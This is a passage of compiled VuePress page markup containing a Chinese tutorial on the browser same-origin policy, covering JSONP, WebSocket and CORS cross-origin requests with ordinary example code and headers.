line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 父窗口和子窗口都可以用下面的代码，")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 监听 message 消息")]),t._v("\nwindow"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("addEventListener")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'message'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("function")]),t._v(" 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4、AJAX")]),t._v(" "),s("p",[t._v("同源政策规定，AJAX 请求只能发给同源的网址，否则就报错。")]),t._v(" "),s("p",[t._v("除了架设服务器代理（浏览器请求同源服务器，再由后者请求外部服务），有三种方法规避这个限制。")]),t._v(" "),s("blockquote",[s("ul",[s("li",[t._v("JSONP")]),t._v(" "),s("li",[t._v("WebSocket")]),t._v(" "),s("li",[t._v("CORS")])])]),t._v(" "),s("h4",{attrs:{id:"_4-1-jsonp"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_4-1-jsonp"}},[t._v("#")]),t._v(" 4.1 JSONP")]),t._v(" "),s("p",[t._v("JSONP 是服务器与客户端跨源通信的常用方法。最大特点就是简单易用，没有兼容性问题，老式浏览器全部支持，服务端改造非常小。")]),t._v(" "),s("p",[t._v("它的做法如下。")]),t._v(" "),s("p",[t._v("第一步，网页添加一个"),s("code",[t._v("<script>")]),t._v("元素，向服务器请求一个脚本，这不受同源政策限制，可以跨域请求。")]),t._v(" "),s("div",{staticClass:"language-html line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-html"}},[s("code",[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("script")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token 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"),s("p",[t._v("第二步，服务器收到请求后，拼接一个字符串，将 JSON 数据放在函数名里面，作为字符串返回（"),s("code",[t._v("bar({...})")]),t._v("）。")]),t._v(" "),s("p",[t._v("第三步，客户端会将服务器返回的字符串，作为代码解析，因为浏览器认为，这是"),s("code",[t._v("<script>")]),t._v("标签请求的脚本内容。这时，客户端只要定义了"),s("code",[t._v("bar()")]),t._v("函数，就能在该函数体内，拿到服务器返回的 JSON 数据。")]),t._v(" "),s("p",[t._v("下面看一个实例。首先，网页动态插入"),s("code",[t._v("<script>")]),t._v("元素，由它向跨域网址发出请求。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("function")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("addScriptTag")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token parameter"}},[t._v("src")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" script "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("createElement")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'script'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n  script"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setAttribute")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'type'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'text/javascript'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n  script"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("src "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" src"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n  document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("body"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("appendChild")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("script"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n\nwindow"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function-variable function"}},[t._v("onload")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("function")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("addScriptTag")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'http://example.com/ip?callback=foo'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("function")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("foo")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token parameter"}},[t._v("data")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n  console"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("log")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'Your public IP address is: '")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" data"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("ip"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br"),s("span",{staticClass:"line-number"},[t._v("11")]),s("br"),s("span",{staticClass:"line-number"},[t._v("12")]),s("br"),s("span",{staticClass:"line-number"},[t._v("13")]),s("br"),s("span",{staticClass:"line-number"},[t._v("14")]),s("br")])]),s("p",[t._v("上面代码通过动态添加"),s("code",[t._v("<script>")]),t._v("元素，向服务器"),s("code",[t._v("example.com")]),t._v("发出请求。注意，该请求的查询字符串有一个"),s("code",[t._v("callback")]),t._v("参数，用来指定回调函数的名字，这对于 JSONP 是必需的。")]),t._v(" "),s("p",[t._v("服务器收到这个请求以后，会将数据放在回调函数的参数位置返回。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token function"}},[t._v("foo")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token string-property property"}},[t._v("'ip'")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'8.8.8.8'")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[t._v("由于"),s("code",[t._v("<script>")]),t._v("元素请求的脚本，直接作为代码运行。这时，只要浏览器定义了"),s("code",[t._v("foo")]),t._v("函数，该函数就会立即调用。作为参数的 JSON 数据被视为 JavaScript 对象，而不是字符串，因此避免了使用"),s("code",[t._v("JSON.parse")]),t._v("的步骤。")]),t._v(" "),s("h4",{attrs:{id:"_4-2-websocket"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_4-2-websocket"}},[t._v("#")]),t._v(" 4.2 WebSocket")]),t._v(" "),s("p",[t._v("WebSocket 是一种"),s("strong",[t._v("通信协议")]),t._v("，使用"),s("code",[t._v("ws://")]),t._v("（非加密）和"),s("code",[t._v("wss://")]),t._v("（加密）作为协议前缀。"),s("strong",[t._v("该协议不实行同源政策，只要服务器支持，就可以通过它进行跨源通信")]),t._v("。")]),t._v(" "),s("p",[t._v("下面是一个例子，浏览器发出的 WebSocket 请求的头信息（摘自"),s("a",{attrs:{href:"https://en.wikipedia.org/wiki/WebSocket",target:"_blank",rel:"noopener noreferrer"}},[t._v("维基百科"),s("OutboundLink")],1),t._v("）。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("GET")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),t._v("chat "),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("HTTP")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("1.1")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("Host")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" server"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("example"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("com\n"),s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("Upgrade")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" websocket\n"),s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("Connection")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" Upgrade\nSec"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("WebSocket"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Key"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" x3JJHMbDL1EzLkh9GBhXDw"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("==")]),t._v("\nSec"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("WebSocket"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Protocol"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" chat"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" superchat\nSec"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("WebSocket"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Version"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("13")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("Origin")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" http"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),t._v("example"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("com\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br")])]),s("p",[t._v("上面代码中，有一个字段是"),s("code",[t._v("Origin")]),t._v("，表示该请求的请求源（origin），即发自哪个域名。")]),t._v(" "),s("p",[t._v("正是因为有了"),s("code",[t._v("Origin")]),t._v("这个字段，所以 WebSocket 才没有实行同源政策。因为服务器可以根据这个字段，判断是否许可本次通信。如果该域名在白名单内，服务器就会做出如下回应。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("HTTP")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("1.1")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("101")]),t._v(" Switching Protocols\n"),s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("Upgrade")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" websocket\n"),s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("Connection")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" Upgrade\nSec"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("WebSocket"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Accept"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" HSmrc0sMlYUkAGmm5OPpG2HaGWk"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("\nSec"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("WebSocket"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Protocol"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" chat\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br")])]),s("h4",{attrs:{id:"_4-3-cors"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_4-3-cors"}},[t._v("#")]),t._v(" 4.3 CORS")]),t._v(" "),s("p",[t._v("CORS 是"),s("strong",[t._v("跨源资源分享")]),t._v("（Cross-Origin Resource Sharing）的缩写。它是 W3C 标准，属于跨源 AJAX 请求的根本解决方法。相比 JSONP 只能发"),s("code",[t._v("GET")]),t._v("请求，CORS 允许任何类型的请求。")]),t._v(" "),s("p",[t._v("下一章将详细介绍，如何通过 CORS 完成跨源 AJAX 请求。")]),t._v(" "),s("h2",{attrs:{id:"七、cors-通信"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#七、cors-通信"}},[t._v("#")]),t._v(" 七、CORS 通信")]),t._v(" "),s("p",[t._v("CORS 是一个 W3C 标准，全称是“"),s("strong",[t._v("跨域资源共享")]),t._v("”（Cross-origin resource sharing）。它允许浏览器向跨域的服务器，发出"),s("code",[t._v("XMLHttpRequest")]),t._v("请求，从而克服了 AJAX 只能同源使用的限制。")]),t._v(" "),s("h3",{attrs:{id:"_1、简介-2"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_1、简介-2"}},[t._v("#")]),t._v(" 1、简介")]),t._v(" "),s("p",[s("strong",[t._v("CORS 需要浏览器和服务器同时支持")]),t._v("。目前，所有浏览器都支持该功能。")]),t._v(" "),s("p",[t._v("整个 CORS 通信过程，都是浏览器自动完成，不需要用户参与。对于开发者来说，CORS 通信与普通的 AJAX 通信没有差别，代码完全一样。浏览器一旦发现 AJAX 请求跨域，就会自动添加一些附加的头信息，有时还会多出一次附加的请求，但用户不会有感知。因此，"),s("strong",[t._v("实现 CORS 通信的关键是服务器")]),t._v("。只要服务器实现了 CORS 接口，就可以跨域通信。")]),t._v(" "),s("h3",{attrs:{id:"_2、两种请求"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2、两种请求"}},[t._v("#")]),t._v(" 2、两种请求")]),t._v(" "),s("p",[t._v("CORS 请求分成两类：简单请求（simple request）和非简单请求（not-so-simple request）。")]),t._v(" "),s("p",[t._v("只要同时满足以下两大条件，就属于简单请求。")]),t._v(" "),s("p",[t._v("（1）请求方法是以下三种方法之一。")]),t._v(" "),s("blockquote",[s("ul",[s("li",[t._v("HEAD")]),t._v(" "),s("li",[t._v("GET")]),t._v(" "),s("li",[t._v("POST")])])]),t._v(" "),s("p",[t._v("（2）HTTP 的头信息不超出以下几种字段。")]),t._v(" "),s("blockquote",[s("ul",[s("li",[t._v("Accept")]),t._v(" "),s("li",[t._v("Accept-Language")]),t._v(" "),s("li",[t._v("Content-Language")]),t._v(" "),s("li",[t._v("Last-Event-ID")]),t._v(" "),s("li",[t._v("Content-Type：只限于三个值"),s("code",[t._v("application/x-www-form-urlencoded")]),t._v("、"),s("code",[t._v("multipart/form-data")]),t._v("、"),s("code",[t._v("text/plain")])])])]),t._v(" "),s("p",[t._v("凡是不同时满足上面两个条件，就属于非简单请求。一句话，"),s("strong",[t._v("简单请求就是简单的 HTTP 方法与简单的 HTTP 头信息的结合。")])]),t._v(" "),s("p",[t._v("这样划分的原因是，表单在历史上一直可以跨域发出请求。简单请求就是表单请求，浏览器沿袭了传统的处理方式，不把行为复杂化，否则开发者可能转而使用表单，规避 CORS 的限制。对于非简单请求，浏览器会采用新的处理方式。")]),t._v(" "),s("h3",{attrs:{id:"_3、简单请求"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3、简单请求"}},[t._v("#")]),t._v(" 3、简单请求")]),t._v(" "),s("h4",{attrs:{id:"_3-1-基本流程"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-1-基本流程"}},[t._v("#")]),t._v(" 3.1 基本流程")]),t._v(" "),s("p",[t._v("对于简单请求，浏览器直接发出 CORS 请求。具体来说，就是在头信息之中，增加一个"),s("code",[t._v("Origin")]),t._v("字段。")]),t._v(" "),s("p",[t._v("下面是一个例子，浏览器发现这次跨域 AJAX 请求是简单请求，就自动在头信息之中，添加一个"),s("code",[t._v("Origin")]),t._v("字段。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("GET")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),t._v("cors "),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("HTTP")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("1.1")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("Origin")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br")])]),s("p",[t._v("上面的头信息中，"),s("code",[t._v("Origin")]),t._v("字段用来说明，本次请求来自哪个域（协议 + 域名 + 端口）。服务器根据这个值，决定是否同意这次请求。")]),t._v(" "),s("p",[t._v("如果"),s("code",[t._v("Origin")]),t._v("指定的源，不在许可范围内，服务器会返回一个正常的 HTTP 回应。浏览器发现，这个回应的头信息没有包含"),s("code",[t._v("Access-Control-Allow-Origin")]),t._v("字段（详见下文），就知道出错了，从而抛出一个错误，被"),s("code",[t._v("XMLHttpRequest")]),t._v("的"),s("code",[t._v("onerror")]),t._v("回调函数捕获。注意，这种错误无法通过状态码识别，因为 HTTP 回应的状态码有可能是200。")]),t._v(" "),s("p",[t._v("如果"),s("code",[t._v("Origin")]),t._v("指定的域名在许可范围内，服务器返回的响应，会多出几个头信息字段。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("Access"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Control"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Allow"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Origin"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" http"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),t._v("api"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("bob"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("com\nAccess"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Control"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Allow"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Credentials"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("true")]),t._v("\nAccess"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Control"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Expose"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Headers"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" FooBar\nContent"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Type"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" text"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),t._v("html"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" charset"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("utf"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("8")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br")])]),s("p",[t._v("上面的头信息之中，有三个与 CORS 请求相关的字段，都以"),s("code",[t._v("Access-Control-")]),t._v("开头。")]),t._v(" "),s("p",[s("strong",[t._v("（1）"),s("code",[t._v("Access-Control-Allow-Origin")])])]),t._v(" "),s("p",[t._v("该字段是必须的。它的值要么是请求时"),s("code",[t._v("Origin")]),t._v("字段的值，要么是一个"),s("code",[t._v("*")]),t._v("，表示接受任意域名的请求。")]),t._v(" "),s("p",[s("strong",[t._v("（2）"),s("code",[t._v("Access-Control-Allow-Credentials")])])]),t._v(" "),s("p",[t._v("该字段可选。它的值是一个布尔值，表示是否允许发送 Cookie。默认情况下，Cookie 不包括在 CORS 请求之中。设为"),s("code",[t._v("true")]),t._v("，即表示服务器明确许可，浏览器可以把 Cookie 包含在请求中，一起发给服务器。这个值也只能设为"),s("code",[t._v("true")]),t._v("，如果服务器不要浏览器发送 Cookie，不发送该字段即可。")]),t._v(" "),s("p",[s("strong",[t._v("（3）"),s("code",[t._v("Access-Control-Expose-Headers")])])]),t._v(" "),s("p",[t._v("该字段可选。CORS 请求时，"),s("code",[t._v("XMLHttpRequest")]),t._v("对象的"),s("code",[t._v("getResponseHeader()")]),t._v("方法只能拿到6个服务器返回的基本字段："),s("code",[t._v("Cache-Control")]),t._v("、"),s("code",[t._v("Content-Language")]),t._v("、"),s("code",[t._v("Content-Type")]),t._v("、"),s("code",[t._v("Expires")]),t._v("、"),s("code",[t._v("Last-Modified")]),t._v("、"),s("code",[t._v("Pragma")]),t._v("。如果想拿到其他字段，就必须在"),s("code",[t._v("Access-Control-Expose-Headers")]),t._v("里面指定。上面的例子指定，"),s("code",[t._v("getResponseHeader('FooBar')")]),t._v("可以返回"),s("code",[t._v("FooBar")]),t._v("字段的值。")]),t._v(" "),s("h4",{attrs:{id:"_3-2-withcredentials-属性"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-2-withcredentials-属性"}},[t._v("#")]),t._v(" 3.2 withCredentials 属性")]),t._v(" "),s("p",[t._v("上面说到，CORS 请求默认不包含 Cookie 信息（以及 HTTP 认证信息等），这是为了降低 CSRF 攻击的风险。但是某些场合，服务器可能需要拿到 Cookie，这时需要服务器显式指定"),s("code",[t._v("Access-Control-Allow-Credentials")]),t._v("字段，告诉浏览器可以发送 Cookie。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("Access"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Control"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Allow"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Credentials"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("true")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("同时，开发者必须在 AJAX 请求中打开"),s("code",[t._v("withCredentials")]),t._v("属性。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" xhr "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("XMLHttpRequest")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nxhr"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("withCredentials "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("true")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[t._v("否则，即使服务器要求发送 Cookie，浏览器也不会发送。或者，服务器要求设置 Cookie，浏览器也不会处理。")]),t._v(" 